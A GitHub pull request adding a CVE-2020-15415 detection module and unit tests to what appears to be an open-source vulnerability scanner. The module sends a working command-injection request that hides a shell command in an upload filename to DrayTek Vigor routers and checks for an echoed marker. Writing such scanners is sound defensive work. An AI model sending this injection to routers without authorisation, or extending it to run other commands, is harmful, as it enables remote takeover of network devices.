Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature/CVE 2020 15415 #120

Merged
merged 3 commits into from
Oct 4, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
74 changes: 74 additions & 0 deletions agent/exploits/cve_2020_15415.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
"""Agent Asteroid implementation for CVE-2020-15415"""

import logging
import re
from urllib import parse as urlparse

import requests

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

VULNERABILITY_TITLE = "Remote Command Execution in DrayTek Vigor Routers"
VULNERABILITY_REFERENCE = "CVE-2020-15415"
VULNERABILITY_DESCRIPTION = """A command injection vulnerability exists in the cgi-bin/mainfunction.cgi/cvmcfgupload endpoint of DrayTek Vigor3900, Vigor2960, and Vigor300B devices before version 1.5.1, allowing remote code execution via shell metacharacters in a filename."""
RISK_RATING = "CRITICAL"

MAX_REDIRECTS = 2
DEFAULT_TIMEOUT = 90

UNIQUE_VALUE = "34ec96cf-d6f1-428a-b955-95080d0536e5"


@exploits_registry.register
class DrayTekVigorCommandInjectionExploit(webexploit.WebExploit):
accept_request = definitions.Request(method="GET", path="/")
check_request = definitions.Request(
method="POST", path="/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2"
)
accept_pattern = [re.compile(r"Vigor Login Page")]
PiranhaSa marked this conversation as resolved.
Show resolved Hide resolved
metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect the remote command execution vulnerability on a specific target.
Args:
target: Target to scan
Returns:
List of identified vulnerabilities.
"""
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False

target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)

payload = f"""------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';echo {UNIQUE_VALUE};echo 'oxo_"
Content-Type: text/x-python-script

------WebKitFormBoundary--"""

try:
resp = session.post(
target_endpoint,
data=payload,
timeout=DEFAULT_TIMEOUT,
headers={
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"
},
)
PiranhaSa marked this conversation as resolved.
Show resolved Hide resolved
except requests.RequestException as e:
logging.error("HTTP Request failed: %s", e)
return []

if UNIQUE_VALUE in resp.text:
vulnerability = self._create_vulnerability(target)
return [vulnerability]

return []
89 changes: 89 additions & 0 deletions tests/exploits/cve_2020_15415_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
"""Unit tests for Agent Asteroid: CVE-2020-15415"""

import requests
import requests_mock as req_mock

from agent import definitions
from agent.exploits import cve_2020_15415


def testCVE202015415_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when target is vulnerable."""
requests_mock.get(
"http://localhost:80/",
text="<html><title>Vigor Login Page</title></html>",
status_code=200,
)
requests_mock.post(
"http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
text="34ec96cf-d6f1-428a-b955-95080d0536e5",
status_code=200,
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)
accept = exploit_instance.accept(target)

assert accept is True
assert len(vulnerabilities) == 1
vulnerability = vulnerabilities[0]
assert (
vulnerability.entry.title == "Remote Command Execution in DrayTek Vigor Routers"
)
assert vulnerability.technical_detail == (
"http://localhost:80 is vulnerable to CVE-2020-15415, "
"Remote Command Execution in DrayTek Vigor Routers"
)


def testCVE202015415_whenSafe_reportNothing(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when target is safe."""
requests_mock.post(
"http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
text="whatever",
status_code=200,
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0


def testCVE202015415_whenRequestException_doesNotCrash(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when a request exception occurs."""
requests_mock.post(
"http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2",
exc=requests.RequestException("Connection error"),
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0


def testCVE202015415_whenNotDrayTekVigor_doesNotAccept(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2020-15415 unit test: case when target is not a DrayTek Vigor device."""
requests_mock.get(
"http://localhost:80/",
text="<title>Apache</title>",
status_code=200,
)
exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)

assert accept is False
Loading